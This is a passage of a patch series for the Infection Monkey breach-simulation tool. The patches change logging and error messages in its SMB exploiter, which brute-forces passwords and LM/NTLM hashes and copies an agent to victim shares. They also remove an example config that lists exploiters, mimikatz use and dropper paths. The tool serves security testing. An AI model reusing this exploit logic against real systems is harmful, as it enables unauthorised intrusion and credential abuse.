seconds) for SMB download operation (used in " - "various exploits using SMB)", + "smb_service": { + "title": "SMB service", + "type": "object", + "properties": { + "smb_download_timeout": { + "title": "SMB download timeout", + "type": "integer", + "default": 30, + "description": "Timeout (in seconds) for SMB download operation (used " + "in various exploits using SMB)", + }, }, }, }, From 89bda5ae87b88047edaae69286b90aea2b24a370 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Mar 2022 07:15:47 -0400 Subject: [PATCH 17/21] Agent: Improve logging in SMBExploiter --- monkey/infection_monkey/exploit/smbexec.py | 16 +++++++++++----- .../infection_monkey/exploit/tools/smb_tools.py | 10 +++++----- 2 files changed, 16 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 5ccfc03f8..be94becaf 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -9,7 +9,10 @@ from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS from infection_monkey.telemetry.attack.t1035_telem import T1035Telem -from infection_monkey.utils.brute_force import generate_brute_force_combinations +from infection_monkey.utils.brute_force import ( + generate_brute_force_combinations, + get_credential_string, +) from infection_monkey.utils.commands import build_monkey_commandline logger = getLogger(__name__) @@ -31,6 +34,8 @@ class SMBExploiter(HostExploiter): creds = generate_brute_force_combinations(self.options["credentials"]) for user, password, lm_hash, ntlm_hash in creds: + creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash]) + try: # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( @@ -46,7 +51,8 @@ class SMBExploiter(HostExploiter): if remote_full_path is not None: logger.info( - f'Successfully logged in to {self.host.ip_addr} using user "{user}"' + f"Successfully logged in to {self.host.ip_addr} using SMB " + f"with {creds_for_log}" ) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) self.add_vuln_port( @@ -63,9 +69,9 @@ class SMBExploiter(HostExploiter): self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) except Exception as exc: - logger.debug( - "Error when trying to copy file using SMB to {self.host.ip_addr} with user " - f'"{user}":{exc}' + logger.error( + "Error while trying to copy file using SMB to {self.host.ip_addr} with " + f"{creds_for_log}:{exc}" ) continue diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 5efe87270..8ce7773bb 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -39,7 +39,7 @@ class SmbTools(object): # skip guest users if smb.isGuestSession() > 0: - logger.debug(f'Connection to {host} granted guest privileges with user "{username}"') + logger.info(f"Connection to {host} granted guest privileges with {creds_for_log}") try: smb.logoff() @@ -122,8 +122,8 @@ class SmbTools(object): try: smb.connectTree(share_name) except Exception as exc: - logger.debug( - "Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc + logger.error( + f'Error connecting tree to share "{share_name}" on victim {host}: {exc}' ) continue @@ -154,7 +154,7 @@ class SmbTools(object): break except Exception as exc: - logger.debug( + logger.error( "Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc ) T1105Telem( @@ -206,7 +206,7 @@ class SmbTools(object): try: smb.login(username, password, "", lm_hash, ntlm_hash) except Exception as exc: - logger.debug(f'Error while logging into {host} using user "{username}": {exc}') + logger.error(f'Error while logging into {host} using user "{username}": {exc}') return None, dialect smb.setTimeout(timeout) From 9ca8bc1a609135016ec870b08a47b8713c3d916c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Mar 2022 07:16:22 -0400 Subject: [PATCH 18/21] Agent: Remove example.conf This file is out of date and an unnecessary maintenance burden. --- monkey/infection_monkey/example.conf | 68 ---------------------------- 1 file changed, 68 deletions(-) delete mode 100644 monkey/infection_monkey/example.conf diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf deleted file mode 100644 index 7a4386107..000000000 --- a/monkey/infection_monkey/example.conf +++ /dev/null @@ -1,68 +0,0 @@ -{ - "command_servers": [ - "192.0.2.0:5000" - ], - "keep_tunnel_open_time": 60, - "subnet_scan_list": [ - - ], - "inaccessible_subnets": [], - "blocked_ips": [], - "current_server": "192.0.2.0:5000", - "should_stop": false, - "collect_system_info": true, - "should_use_mimikatz": true, - "depth": 2, - - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_set_date": true, - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_target_path_linux": "/tmp/monkey", - - "exploiter_classes": [ - "SSHExploiter", - "SmbExploiter", - "WmiExploiter", - "Struts2Exploiter", - "WebLogicExploiter", - "HadoopExploiter", - "MSSQLExploiter" - ], - "finger_classes": [ - "SSHFinger", - "HTTPFinger", - "SMBFinger", - "MSSQLFingerprint", - "ElasticFinger" - ], - "ping_scan_timeout": 10000, - "smb_download_timeout": 300, - "self_delete_in_cleanup": true, - "exploit_user_list": [], - "exploit_password_list": [], - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "local_network_scan": false, - "tcp_scan_timeout": 10000, - "tcp_target_ports": [ - 22, - 445, - 135, - 3389, - 80, - 8080, - 443, - 3306, - 8008, - 9200, - 7001, - 8088 - ], - "post_breach_actions": [] - custom_PBA_linux_cmd = "" - custom_PBA_windows_cmd = "" - PBA_linux_filename = None - PBA_windows_filename = None -} From 7e4ec00454beb1776bf3bec18b397d8fb02e3b72 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Mar 2022 07:21:05 -0400 Subject: [PATCH 19/21] Agent: Add error message to exploit_result when SMB exploiter gives up --- monkey/infection_monkey/exploit/smbexec.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index be94becaf..689484c25 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -77,6 +77,7 @@ class SMBExploiter(HostExploiter): if not self.exploit_result.exploitation_success: logger.debug("Exploiter SmbExec is giving up...") + self.exploit_result.error_message = "Failed to authenticate to the victim over SMB" return self.exploit_result # execute the remote dropper in case the path isn't final From 896a9171acae40d2433a7ba55e507750884b7e32 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Mar 2022 08:14:01 -0400 Subject: [PATCH 20/21] Agent: Add missing 'f' to f-string --- monkey/infection_monkey/exploit/smbexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 689484c25..31a8dbb53 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -70,7 +70,7 @@ class SMBExploiter(HostExploiter): except Exception as exc: logger.error( - "Error while trying to copy file using SMB to {self.host.ip_addr} with " + f"Error while trying to copy file using SMB to {self.host.ip_addr} with " f"{creds_for_log}:{exc}" ) continue From 75ea2c8c3a025ad65f066bc258970f3efe8dbe8a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Mar 2022 08:15:25 -0400 Subject: [PATCH 21/21] Docs: Remove reference to example.conf --- docs/content/reference/scanners/_index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/reference/scanners/_index.md b/docs/content/reference/scanners/_index.md index 6de0a8099..e932c7df1 100644 --- a/docs/content/reference/scanners/_index.md +++ b/docs/content/reference/scanners/_index.md @@ -35,7 +35,7 @@ The currently implemented Fingerprint modules are: To add a new scanner/fingerprinter, create a new class that inherits from [`HostScanner`][host-scanner] or [`HostFinger`][host-finger] (depending on the interface). The class should be under the network module and imported under [`network/__init__.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/network/__init__.py). -To use the new scanner/fingerprinter by default, two files need to be changed - [`infection_monkey/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/config.py) and [`infection_monkey/example.conf`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/example.conf) to add references to the new class. +To use the new scanner/fingerprinter by default, modify [`infection_monkey/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/config.py) to add references to the new class. At this point, the Infection Monkey knows how to use the new scanner/fingerprinter but to make it easy to use, the UI needs to be updated. The relevant UI file is [`monkey_island/cc/services/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/cc/services/config.py).